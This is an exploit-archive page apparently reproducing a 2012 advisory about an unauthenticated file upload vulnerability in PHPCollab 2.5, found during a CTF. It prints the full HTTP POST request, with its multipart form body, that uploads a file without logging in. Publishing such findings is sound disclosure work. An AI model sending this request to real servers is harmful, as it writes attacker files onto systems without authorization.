exploit the possibilities

PHPCollab 2.5 Unauthenticated File Upload

PHPCollab 2.5 Unauthenticated File Upload
Posted May 23, 2012
Authored by team ' and 1=1--

PHPCollab version 2.5 suffers from an unauthenticated file upload vulnerability.

tags | exploit, file upload
MD5 | 1b7459efe1a8274c10aa92fb7e82792b

PHPCollab 2.5 Unauthenticated File Upload

Change Mirror Download
# Exploit Title: phpcollab upload files without any authentication
# Date: 3/5/2012
# Author: team ' and 1=1--
# Software Link: http://www.phpcollab.com/
# Version: 2.5
# Vulnerability was found during the AthCon IT Security Conference CTF
# CTF Organizer: echothrust

During AthCon CTF the team ' and 1=1-- discovered that phpcollab
allows malicious users to upload files without any authentication on
the system by conducting the
following POST request:
POST
/phpcollab/projects_site/uploadfile.php?PHPSESSID=f2bb0a2008d0791d1ac45a8a3
8e51ed2&action=add&project=&task= HTTP/1.1
Host: 192.0.0.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:9.0.1)
Gecko/20100101 Firefox/9.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
DNT: 1
Proxy-Connection: keep-alive
Cookie: PHPSESSID=6cvltmkam146ncp3hfbucumfk6
Referer: http://192.0.0.2/
Content-Type: multipart/form-data;
boundary=---------------------------19548990971636807826563613512
Content-Length: 29914

-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000000
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="maxCustom"


-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="commentsField"

Hello there
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="upload"; filename="filename.jpg"
Content-Type: image/jpeg
file data stripped
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="submit"

Save
-----------------------------19548990971636807826563613512--

As an example we uploaded the following image on the web server:
http://192.0.0.2/phpcollab/files/1--stallowned.jpg
It must be noted that the application does not allow the uploading of php
files by checking the filename extension.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    16 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close